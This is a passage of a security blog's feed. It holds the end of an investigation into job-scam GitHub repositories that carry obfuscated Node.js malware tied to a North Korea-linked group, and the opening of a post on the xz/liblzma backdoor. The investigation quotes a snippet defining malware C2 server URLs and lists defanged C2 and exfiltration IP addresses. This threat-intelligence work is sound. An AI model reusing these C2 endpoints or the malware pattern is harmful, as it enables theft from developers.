<li><a href="https://github.com/RamspheldOnyangoOchieng/mvp-1.2" target="_blank" rel="noreferrer noopener">https://github.com/RamspheldOnyangoOchieng/mvp-1.2</a></li>



<li><a href="https://github.com/praise-bit/mvp-1.2" target="_blank" rel="noreferrer noopener">https://github.com/praise-bit/mvp-1.2</a></li>



<li><a href="https://github.com/phoenix377/mvp-1.2" target="_blank" rel="noreferrer noopener">https://github.com/phoenix377/mvp-1.2</a></li>



<li><a href="https://github.com/joshrushk/mvp-1.2" target="_blank" rel="noreferrer noopener">https://github.com/joshrushk/mvp-1.2</a></li>



<li><a href="https://github.com/cornel-cp/mvp-1.2-warning-" target="_blank" rel="noreferrer noopener">https://github.com/cornel-cp/mvp-1.2-warning-</a></li>



<li><a href="https://github.com/Ader3567/mvp-1.2" target="_blank" rel="noreferrer noopener">https://github.com/Ader3567/mvp-1.2</a></li>
</ul>
</li>
</ul>
</li>
</ul>



<p class="wp-block-paragraph">In one case the user even updates the infected code and <a href="https://github.com/AstraByteSyncOrg/crypto-oasis/commit/55e3cdff58070b8a9b239ef3dff8f69ce7087deb" target="_blank" rel="noreferrer noopener">commits</a> the new one:</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="1020" src="https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-18-1024x1020.png" alt="" class="wp-image-173" srcset="https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-18-1024x1020.png 1024w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-18-300x300.png 300w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-18-150x150.png 150w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-18-768x765.png 768w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-18.png 1267w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p class="wp-block-paragraph">The following GitHub accounts are connected with commiting malicious code:</p>



<ul class="wp-block-list">
<li>Astra Byte Sync (<a href="https://github.com/AstraByteSyncOrg/uomo-ecommerce/commit/03b45fea84d76aee02d0838de5712737f0247b95" target="_blank" rel="noreferrer noopener">commit</a>)</li>



<li>sparkdev0917 (<a href="https://github.com/astrabytesynchub/crypto-social-platform/commit/55e3cdff58070b8a9b239ef3dff8f69ce7087deb" target="_blank" rel="noreferrer noopener">commit </a><a href="https://github.com/astrabytesynchub/Ownix-Property-Real-Estate-MPV/commit/c5b3a73c6b3807eda1ab300803e3a883c0309bc2" target="_blank" rel="noreferrer noopener">commit</a> <a href="https://github.com/AstraByteSyncOrg/crypto-oasis/commit/55e3cdff58070b8a9b239ef3dff8f69ce7087deb" target="_blank" rel="noreferrer noopener">commit</a> <a href="https://github.com/AstraByteSyncOrg/crypto-oasis/commit/55e3cdff58070b8a9b239ef3dff8f69ce7087deb" target="_blank" rel="noreferrer noopener">commit</a>)</li>



<li><a href="https://github.com/mojaray2k" target="_blank" rel="noreferrer noopener">Amen-Ra Mendel</a> (<a href="https://github.com/mojaray2k/genetiq-test-feat-dt/commit/b0543f9e043c6c381f5c0ffef9d4b914693c2062" target="_blank" rel="noreferrer noopener">commit</a>)</li>
</ul>



<p class="wp-block-paragraph">It is clear that user &#8220;<strong>sparkdev0917</strong>&#8221; plays a significant role in infecting repositories on two GitHub organizations (<a href="https://github.com/AstraByteSyncOrg" target="_blank" rel="noreferrer noopener">AstraByteSyncOrg</a> &amp; <a href="https://github.com/astrabytesynchub" target="_blank" rel="noreferrer noopener">astrabytesynchub</a>).</p>



<p class="wp-block-paragraph"><strong>sparkdev0917 </strong>used to have GitHub <a href="https://github.com/sparkdev0917" target="_blank" rel="noreferrer noopener">account</a> . Some trails left from the account can be found in the following places:</p>



<p class="wp-block-paragraph">A fork of one of user&#8217;s old repository <a href="https://github.com/qmhlan/aisha-copy-bot" target="_blank" rel="noreferrer noopener">here</a></p>


<div class="wp-block-image">
<figure class="aligncenter size-large is-resized"><img loading="lazy" decoding="async" width="1024" height="619" src="https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-21-1024x619.png" alt="" class="wp-image-176" style="width:510px;height:auto" srcset="https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-21-1024x619.png 1024w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-21-300x181.png 300w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-21-768x464.png 768w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-21.png 1177w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
</div>


<p class="wp-block-paragraph">A lot of old bing-cached GitHub repos that are not accessible today:</p>



<ul class="wp-block-list">
<li><a href="https://github.com/sparkdev0917/ethereum-staking-launchpad/" target="_blank" rel="noreferrer noopener">https://github.com/sparkdev0917/ethereum-staking-launchpad/</a></li>



<li><a href="https://github.com/sparkdev0917/tma-nextjs-template" target="_blank" rel="noreferrer noopener">https://github.com/sparkdev0917/tma-nextjs-template</a></li>
</ul>



<p class="wp-block-paragraph">So far we have two organization GitHub pages containing infected projects:</p>



<ol class="wp-block-list">
<li><a href="https://github.com/AstraByteSyncOrg" target="_blank" rel="noreferrer noopener">https://github.com/AstraByteSyncOrg</a></li>



<li><a href="https://github.com/astrabytesynchub" target="_blank" rel="noreferrer noopener">https://github.com/astrabytesynchub</a></li>
</ol>



<figure class="wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-1 is-layout-flex wp-block-gallery-is-layout-flex">
<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="990" height="1024" data-id="162" src="https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-8-990x1024.png" alt="" class="wp-image-162" srcset="https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-8-990x1024.png 990w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-8-290x300.png 290w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-8-768x795.png 768w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-8.png 1157w" sizes="auto, (max-width: 990px) 100vw, 990px" /></figure>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1001" height="1024" data-id="164" src="https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-10-1001x1024.png" alt="" class="wp-image-164" srcset="https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-10-1001x1024.png 1001w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-10-293x300.png 293w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-10-768x786.png 768w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-10.png 1171w" sizes="auto, (max-width: 1001px) 100vw, 1001px" /></figure>
</figure>



<p class="wp-block-paragraph">Both they seem connected with &#8220;<strong>Astra Byte Sync Company</strong>&#8220;:</p>


<div class="wp-block-image">
<figure class="aligncenter size-full is-resized"><img loading="lazy" decoding="async" width="1022" height="1000" src="https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-11.png" alt="" class="wp-image-165" style="width:451px;height:auto" srcset="https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-11.png 1022w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-11-300x294.png 300w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-11-768x751.png 768w" sizes="auto, (max-width: 1022px) 100vw, 1022px" /></figure>
</div>


<p class="wp-block-paragraph">Their website also points to <a href="https://github.com/AstraByteSyncOrg" target="_blank" rel="noreferrer noopener">AstraByteSyncOrg </a>GitHub organisation:</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="261" src="https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-15-1024x261.png" alt="" class="wp-image-169" srcset="https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-15-1024x261.png 1024w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-15-300x76.png 300w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-15-768x196.png 768w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-15.png 1119w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p class="wp-block-paragraph">Few more red flags for the company site, are the <a href="https://astrabytesync.com/about.html" target="_blank" rel="noreferrer noopener">About section</a> that includes either non-existent people or people working for other companies without a single mention to the &#8220;Astra Byte Sync&#8221; company on their profiles.</p>


<div class="wp-block-image">
<figure class="aligncenter size-large is-resized"><img loading="lazy" decoding="async" width="1024" height="972" src="https://blog.gerontakis.eu/wp-content/uploads/2025/07/2025-07-20_01-16-1024x972.png" alt="" class="wp-image-170" style="width:698px;height:auto" srcset="https://blog.gerontakis.eu/wp-content/uploads/2025/07/2025-07-20_01-16-1024x972.png 1024w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/2025-07-20_01-16-300x285.png 300w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/2025-07-20_01-16-768x729.png 768w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/2025-07-20_01-16.png 1175w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
</div>


<p class="wp-block-paragraph">There is also no information about the company address on their main website or anywhere else.</p>


<div class="wp-block-image">
<figure class="aligncenter size-large is-resized"><img loading="lazy" decoding="async" width="986" height="1024" src="https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-16-986x1024.png" alt="" class="wp-image-171" style="width:564px;height:auto" srcset="https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-16-986x1024.png 986w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-16-289x300.png 289w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-16-768x798.png 768w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-16.png 1168w" sizes="auto, (max-width: 986px) 100vw, 986px" /></figure>
</div>


<p class="wp-block-paragraph">Last but not least, we couldn&#8217;t map this company to any info such as:</p>



<ul class="wp-block-list">
<li>Legal name &amp; status</li>



<li>Registration Number</li>



<li>Registered address</li>



<li>Date of formation</li>



<li>Owners/managers</li>



<li>Current standing</li>
</ul>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img loading="lazy" decoding="async" width="752" height="449" src="https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-19.png" alt="" class="wp-image-174" srcset="https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-19.png 752w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-19-300x179.png 300w" sizes="auto, (max-width: 752px) 100vw, 752px" /></figure>
</div>


<p class="wp-block-paragraph">After trying to identify more possible backdoored GitHub repositories we found out that another fellow developer named <a href="https://github.com/juangcarmona" target="_blank" rel="noreferrer noopener">Juan G Carmona</a> had a nice repository that you can find <a href="https://github.com/juangcarmona/hunting-the-hunter-episode-one" target="_blank" rel="noreferrer noopener">here</a> documenting his experience investigating and hunting what we believe is the same actors in our case too!</p>



<p class="wp-block-paragraph">Same story! Someone writes a message for a great project opportunity and shares a link of a git repo (bitbucket in Juan&#8217;s case) that is infected with malicious code. In Juan&#8217;s case the raw malicious code was the following:</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="232" src="https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-22-1024x232.png" alt="" class="wp-image-180" srcset="https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-22-1024x232.png 1024w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-22-300x68.png 300w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-22-768x174.png 768w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-22-1536x349.png 1536w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-22.png 1666w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p class="wp-block-paragraph">Prety similar to our case too, right? But this code is also nearly identical with malicious js code that was overwritten in our initial repository of our case in this <a href="https://github.com/astrabytesynchub/crypto-social-platform/commit/55e3cdff58070b8a9b239ef3dff8f69ce7087deb" target="_blank" rel="noreferrer noopener">commit</a> we saw earlier!</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="738" src="https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-20-1024x738.png" alt="" class="wp-image-175" srcset="https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-20-1024x738.png 1024w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-20-300x216.png 300w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-20-768x553.png 768w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-20.png 1323w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p class="wp-block-paragraph">In <a href="https://github.com/juangcarmona/hunting-the-hunter-episode-one">Juan&#8217;s case</a> the involved IP addresses where the following:</p>



<ul class="wp-block-list">
<li>38[.]92[.]47[.]118 (Main C2 Server)</li>



<li>165[.]140[.]86[.]173 (Secondary C2)</li>



<li>103[.]70[.]115[.]38 (SSH Attempt / Exfiltration Attempt)</li>
</ul>



<p class="wp-block-paragraph">Another documented case we identified from <a href="https://medium.com/@NoamaSamreen?source=post_page---byline--19d612ebd370---------------------------------------" target="_blank" rel="noreferrer noopener">Noama Samreen</a> in a Medium post <a href="https://medium.com/@NoamaSamreen/caught-in-the-code-discovering-a-hidden-backdoor-in-a-web3-poker-game-19d612ebd370" target="_blank" rel="noreferrer noopener">here</a>:</p>


<div class="wp-block-image">
<figure class="aligncenter size-large is-resized"><img loading="lazy" decoding="async" width="824" height="1024" src="https://blog.gerontakis.eu/wp-content/uploads/2025/07/2025-07-20_17-53-2-824x1024.png" alt="" class="wp-image-183" style="width:438px;height:auto" srcset="https://blog.gerontakis.eu/wp-content/uploads/2025/07/2025-07-20_17-53-2-824x1024.png 824w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/2025-07-20_17-53-2-242x300.png 242w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/2025-07-20_17-53-2-768x954.png 768w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/2025-07-20_17-53-2.png 921w" sizes="auto, (max-width: 824px) 100vw, 824px" /></figure>
</div>


<p class="wp-block-paragraph">Again, same story! A message on LinkedIn for an opportunity leads to an infected repository.</p>


<div class="wp-block-image">
<figure class="aligncenter size-large is-resized"><img loading="lazy" decoding="async" width="989" height="1024" src="https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-24-989x1024.png" alt="" class="wp-image-185" style="width:536px;height:auto" srcset="https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-24-989x1024.png 989w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-24-290x300.png 290w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-24-768x795.png 768w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-24.png 1102w" sizes="auto, (max-width: 989px) 100vw, 989px" /></figure>
</div>


<p class="wp-block-paragraph">First of all we can identify the same title &#8220;<strong>DMCC(Dubai Multi Commodities Centre)-Socifi MVP-v2</strong>&#8221; with our case <a href="https://github.com/astrabytesynchub/crypto-social-platform" target="_blank" rel="noreferrer noopener">here</a>.</p>



<p class="wp-block-paragraph">This time an infected bitbucket repository is provided <a href="https://bitbucket.org/socifi-game-v2/socifi-game-v2/src/main/" target="_blank" rel="noreferrer noopener"><em>https://bitbucket.org/socifi-game-v2/socifi-game-v2/src/main/</em></a> (infected file: <a href="https://bitbucket.org/socifi-game-v2/socifi-game-v2/src/main/socket/index.js" target="_blank" rel="noreferrer noopener">socket/index.js</a>)</p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><img loading="lazy" decoding="async" width="1024" height="239" src="https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-23-1024x239.png" alt="" class="wp-image-184" srcset="https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-23-1024x239.png 1024w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-23-300x70.png 300w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-23-768x179.png 768w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-23-1536x359.png 1536w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-23.png 1669w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
</div>


<p class="wp-block-paragraph">We can observe the same type of obfuscation and structure. The de-obfuscated the code in this instance is nearly identical with the rest of identified malicious js and we also identified some more IP addresses that could be related with the actor:</p>



<div class="wp-block-kevinbatdorf-code-block-pro" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#2b2b2b;color:#c7c7c7">JavaScript</span><span role="button" tabindex="0" style="color:#D4D4D4;display:none" aria-label="Copy" class="code-block-pro-copy-button"><pre class="code-block-pro-copy-button-pre" aria-hidden="true"><textarea class="code-block-pro-copy-button-textarea" tabindex="-1" aria-hidden="true" readonly>// C2 server addresses and identifiers
const PRIMARY_URL = "http://216&#91;.&#93;173&#91;.&#93;115&#91;.&#93;200:1244";
const SECONDARY_URL = "http://95&#91;.&#93;179&#91;.&#93;135&#91;.&#93;133:1244";</textarea></pre><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dark-plus" style="background-color: #1E1E1E" tabindex="0"><code><span class="line"><span style="color: #6A9955">// C2 server addresses and identifiers</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">PRIMARY_URL</span><span style="color: #D4D4D4"> = </span><span style="color: #CE9178">&quot;http://216&#91;.&#93;173&#91;.&#93;115&#91;.&#93;200:1244&quot;</span><span style="color: #D4D4D4">;</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">SECONDARY_URL</span><span style="color: #D4D4D4"> = </span><span style="color: #CE9178">&quot;http://95&#91;.&#93;179&#91;.&#93;135&#91;.&#93;133:1244&quot;</span><span style="color: #D4D4D4">;</span></span></code></pre></div>



<p class="wp-block-paragraph"><strong>IP addresses that we came accross during our research</strong></p>



<figure class="wp-block-table aligncenter"><table class="has-fixed-layout"><tbody><tr><td class="has-text-align-center" data-align="center"><strong>IP</strong></td><td class="has-text-align-center" data-align="center"><strong>Country</strong></td><td class="has-text-align-center" data-align="center"><strong>ASN</strong></td></tr><tr><td class="has-text-align-center" data-align="center">147[.]124[.]212[.]125</td><td class="has-text-align-center" data-align="center">US</td><td class="has-text-align-center" data-align="center">396073 (MAJESTIC-HOSTING-01)</td></tr><tr><td class="has-text-align-center" data-align="center">165[.]140[.]85[.]105</td><td class="has-text-align-center" data-align="center">US</td><td class="has-text-align-center" data-align="center">397423 (TIER-NET)</td></tr><tr><td class="has-text-align-center" data-align="center">165[.]140[.]86[.]106</td><td class="has-text-align-center" data-align="center">US</td><td class="has-text-align-center" data-align="center">397423 (TIER-NET)</td></tr><tr><td class="has-text-align-center" data-align="center">216[.]173[.]115[.]200</td><td class="has-text-align-center" data-align="center">US</td><td class="has-text-align-center" data-align="center">397423 (TIER-NET)</td></tr><tr><td class="has-text-align-center" data-align="center">95[.]179[.]135[.]133</td><td class="has-text-align-center" data-align="center">US</td><td class="has-text-align-center" data-align="center">20473 (AS-VULTR)</td></tr><tr><td class="has-text-align-center" data-align="center">38[.]92[.]47[.]118</td><td class="has-text-align-center" data-align="center">US</td><td class="has-text-align-center" data-align="center">397423 (TIER-NET)</td></tr><tr><td class="has-text-align-center" data-align="center">165[.]140[.]86[.]173 </td><td class="has-text-align-center" data-align="center">US</td><td class="has-text-align-center" data-align="center">397423 (TIER-NET&nbsp;)</td></tr><tr><td class="has-text-align-center" data-align="center">103[.]70[.]115[.]38</td><td class="has-text-align-center" data-align="center">Vietnam</td><td class="has-text-align-center" data-align="center">151873 (TOTHOST SOLUTIONS AND TECHNOLOGIES COMPANY LIMITED)</td></tr></tbody></table></figure>



<h3 id="wp-block-themeisle-blocks-advanced-heading-4dd9e106" class="wp-block-themeisle-blocks-advanced-heading wp-block-themeisle-blocks-advanced-heading-4dd9e106"><strong>Time to Unmask the Ghost</strong></h3>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img loading="lazy" decoding="async" width="495" height="665" src="https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-30.png" alt="" class="wp-image-197" srcset="https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-30.png 495w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-30-223x300.png 223w" sizes="auto, (max-width: 495px) 100vw, 495px" /></figure>
</div>


<p class="wp-block-paragraph">The <a href="https://go.recordedfuture.com/hubfs/reports/cta-nk-2025-0213.pdf" target="_blank" rel="noreferrer noopener">Recorded Future report</a> titled <strong>&#8220;Inside the Scam: North Korea’s IT Worker Threat&#8221;</strong> offers a deep investigation into how North Korea exploits the global remote work landscape to generate revenue and conduct cyber operations. The <a href="https://www.recordedfuture.com/research/inside-the-scam-north-koreas-it-worker-threat" target="_blank" rel="noreferrer noopener">research</a>, conducted by the <a href="https://www.recordedfuture.com/research/insikt-group" target="_blank" rel="noreferrer noopener">Insikt Group</a>, reveals that North Korean IT workers operating under false identities secure freelance and remote positions at international companies, often in sectors like cryptocurrency, fintech, and software development. These workers act as insider threats, planting malware, stealing sensitive data, and potentially violating sanctions.</p>



<p class="wp-block-paragraph">Two key threat actor clusters are outlined: <strong>PurpleBravo</strong> (formerly TAG-120), which is known for using job scams and fake coding interviews to deliver malware like <em>BeaverTail</em>, <em>InvisibleFerret</em>, and <em>OtterCookie</em>; and <strong>TAG-121</strong>, responsible for running at least seven fake front companies in China that impersonate real IT firms. These companies are designed to lend legitimacy to fraudulent job seekers and complicate attribution.</p>



<p class="wp-block-paragraph">The malware families used by PurpleBravo are highly capable, with features like cross-platform backdoors, keylogging, clipboard monitoring, and data exfiltration. Recorded Future also tracked infrastructure used by the attackers, including GitHub, Telegram, freelance platforms, and VPNs like Astrill.</p>



<p class="wp-block-paragraph">The way that this groups executes it&#8217;s campaigns is totally aligned with what we uncovered during our research/inestigation and also the IP &#8220;147[.]124[.]212[.]125&#8221; that served the purpose of the server delivering the second and last stage of malware and the exfiltration server is  closely related with the same group:</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="769" height="974" src="https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-32.png" alt="" class="wp-image-199" srcset="https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-32.png 769w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-32-237x300.png 237w" sizes="auto, (max-width: 769px) 100vw, 769px" /></figure>



<h3 id="wp-block-themeisle-blocks-advanced-heading-e0b8d999" class="wp-block-themeisle-blocks-advanced-heading wp-block-themeisle-blocks-advanced-heading-e0b8d999">Final Thoughts</h3>



<p class="wp-block-paragraph">We strongly believe that this threat group has evolved its tactics by leveraging legitimate recruiters on LinkedIn to initiate contact with victims. This approach not only lends credibility to their outreach but also effectively outsources the process of identifying and targeting potential victims.</p>



<p class="wp-block-paragraph">In our opinion, the best defense against these types of attacks is to always double-check any unknown code before executing it, regardless of the context. If someone explicitly asks you to run code especially from an unfamiliar source exercise extreme caution. When execution is unavoidable, do so only in an isolated environment, disconnected from both the internet and internal networks.</p>



<p class="wp-block-paragraph">Our next steps include:</p>



<ul class="wp-block-list">
<li>Uploading all collected data and indicators to VirusTotal</li>



<li>Notifying individuals and developers who may unknowingly be victims in this campaign</li>



<li>Archiving relevant content using the Wayback Machine</li>



<li>Reporting involved organizations, accounts, and infrastructure to appropriate authorities and platforms</li>
</ul>



<p class="wp-block-paragraph">Unfortunately, we are confident that this type of campaign will happen again possibly under different company names, fake profiles, and IP addresses. Continued vigilance, awareness, and information sharing are critical to staying ahead of such evolving threats.</p>



<h3 id="wp-block-themeisle-blocks-advanced-heading-2064aac2" class="wp-block-themeisle-blocks-advanced-heading wp-block-themeisle-blocks-advanced-heading-2064aac2">Extra Sauce</h3>



<p class="wp-block-paragraph">The server acting as the exfiltration point in our case was found running a customized version of this project <a href="https://github.com/bezkoder/react-multiple-files-upload" target="_blank" rel="noreferrer noopener">https://github.com/bezkoder/react-multiple-files-upload</a></p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="794" height="307" src="https://blog.gerontakis.eu/wp-content/uploads/2025/07/their-c2-http.png" alt="" class="wp-image-202" srcset="https://blog.gerontakis.eu/wp-content/uploads/2025/07/their-c2-http.png 794w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/their-c2-http-300x116.png 300w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/their-c2-http-768x297.png 768w" sizes="auto, (max-width: 794px) 100vw, 794px" /></figure>



<h1 id="wp-block-themeisle-blocks-advanced-heading-5543dcab" class="wp-block-themeisle-blocks-advanced-heading wp-block-themeisle-blocks-advanced-heading-5543dcab">The End</h1>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="700" height="449" src="https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-34.png" alt="" class="wp-image-204" srcset="https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-34.png 700w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-34-300x192.png 300w" sizes="auto, (max-width: 700px) 100vw, 700px" /></figure>
<p>The post <a href="https://blog.gerontakis.eu/2025/07/20/from-node-js-malware-on-github-to-exposing-fake-north-korean-companies/">From Node.js Malware on GitHub to Exposing Fake North Korean Companies</a> appeared first on <a href="https://blog.gerontakis.eu">George Gerontakis</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.gerontakis.eu/2025/07/20/from-node-js-malware-on-github-to-exposing-fake-north-korean-companies/feed/</wfw:commentRss>
			<slash:comments>2</slash:comments>
		
		
			</item>
		<item>
		<title>Backdoor in Upstream xz/liblzma Leading to SSH Server Compromise</title>
		<link>https://blog.gerontakis.eu/2024/03/30/backdoor-in-upstream-xz-liblzma-leading-to-ssh-server-compromise/</link>
					<comments>https://blog.gerontakis.eu/2024/03/30/backdoor-in-upstream-xz-liblzma-leading-to-ssh-server-compromise/#respond</comments>
		
		<dc:creator><![CDATA[g.gerontakis]]></dc:creator>
		<pubDate>Sat, 30 Mar 2024 17:04:32 +0000</pubDate>
				<category><![CDATA[Backdoor]]></category>
		<category><![CDATA[Urgent Alert]]></category>
		<category><![CDATA[backdoor]]></category>
		<category><![CDATA[liblzma]]></category>
		<category><![CDATA[liblzma Vulnerability]]></category>
		<category><![CDATA[SSH Server Security]]></category>
		<category><![CDATA[xz Compression Library Backdoor]]></category>
		<guid isPermaLink="false">https://blog.gerontakis.eu/?p=131</guid>

					<description><![CDATA[<p>Are you worried about the security of your SSH server? A recent discovery has unveiled a sophisticated backdoor in the upstream xz compression library (liblzma), impacting versions 5.6.0 and 5.6.1. This vulnerability directly affects systems exposing SSH to the internet, leading to unauthorized access and potential compromise. The injected code within the xz/liblzma library was [&#8230;]</p>
<p>The post <a href="https://blog.gerontakis.eu/2024/03/30/backdoor-in-upstream-xz-liblzma-leading-to-ssh-server-compromise/">Backdoor in Upstream xz/liblzma Leading to SSH Server Compromise</a> appeared first on <a href="https://blog.gerontakis.eu">George Gerontakis</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1024" height="1024" src="https://blog.gerontakis.eu/wp-content/uploads/2024/03/backdoor_post_image.webp" alt="" class="wp-image-133" srcset="https://blog.gerontakis.eu/wp-content/uploads/2024/03/backdoor_post_image.webp 1024w, https://blog.gerontakis.eu/wp-content/uploads/2024/03/backdoor_post_image-300x300.webp 300w, https://blog.gerontakis.eu/wp-content/uploads/2024/03/backdoor_post_image-150x150.webp 150w, https://blog.gerontakis.eu/wp-content/uploads/2024/03/backdoor_post_image-768x768.webp 768w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p class="wp-block-paragraph"><strong>Are you worried about the security of your SSH server?</strong> A recent discovery has unveiled a sophisticated backdoor in the upstream xz compression library (<code>liblzma</code>), impacting versions 5.6.0 and 5.6.1. This vulnerability directly affects systems exposing SSH to the internet, leading to unauthorized access and potential compromise.</p>



<span id="more-131"></span>



<p class="wp-block-paragraph"><strong>The injected code within the xz/liblzma library was designed to subtly execute unauthorized actions without detection</strong>. It cleverly modifies the build process to introduce malicious behavior, specifically targeting SSH server security. This backdoor compromises systems by allowing external control under certain conditions, significantly impacting system integrity and data confidentiality. The sophistication of this attack underlines the importance of rigorous software supply chain security measures.</p>



<p class="wp-block-paragraph"><strong>The author of the backdoor made attempts to have the compromised xz version 5.6.x added to Fedora 40 and 41</strong>. This move was likely aimed at widening the backdoor&#8217;s impact by integrating it into more systems, showcasing a deliberate effort to infiltrate open-source software distributions at a foundational level.</p>



<p class="wp-block-paragraph">Vegard Nossum wrote a script to detect if it&#8217;s likely that the ssh binary on a system is vulnerable:</p>



